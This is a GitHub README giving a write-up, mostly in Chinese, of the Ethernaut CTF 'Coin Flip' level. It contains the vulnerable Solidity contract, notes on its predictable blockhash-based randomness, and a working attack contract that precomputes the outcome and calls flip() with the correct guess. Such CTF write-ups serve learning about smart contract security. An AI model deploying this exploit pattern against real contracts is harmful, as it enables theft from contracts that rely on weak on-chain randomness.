Skip to content

Latest commit

 

History

History
113 lines (82 loc) · 3.01 KB

File metadata and controls

113 lines (82 loc) · 3.01 KB

A-Ethernaut-CTF

Day3 2024.09.01

Coin Flip

題目: This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

需要對10次,才能過關。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

想法:

  1. uint256 blockValue = uint256(blockhash(block.number - 1)); 取得前一個區塊的哈希值,並將其轉換為 uint256 型別。

if (lastHash == blockValue) {
    revert();
}

如果 lashHash 與 blockValue 相同,則回滾,並消耗使用的gas。這是為了防止在同一區塊內重複進行猜測。

看起來能過掉過這段就可ㄧ控制下面的邏輯。

block.number 是區塊的編號,感覺這裡可以控制。

  1. 因為智能合約有可擴展性的優點,看起來可以呼叫智能合約話葫蘆去取得想要的 block.number。

解題:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { CoinFlip} from "../../src/4/CoinFlip.sol";

contract CoinFlipAttack {

    CoinFlip orgContract;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipAddress) {
        orgContract = CoinFlip(_coinFlipAddress);
    }

    function attack() public  {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 guess = blockValue / FACTOR;
        bool side = guess == 1 ? true : false;
        orgContract.flip(side);

  }

}

攻擊模式:

  1. 建立一個新的智能合約,並將原本的智能合約地址傳入。
  2. 透過 blockhash(block.number - 1) 取得前一個區塊的哈希值,並將其轉換為 uint256 型別。
  3. 透過 blockValue / FACTOR 取得 0 或 1,並透過這個值來猜測。
  4. 透過 orgContract.flip(side) 來進行猜測。

Attacks smart contract: CoinFlipAttack.sol

POC: CoinFlip.t.sol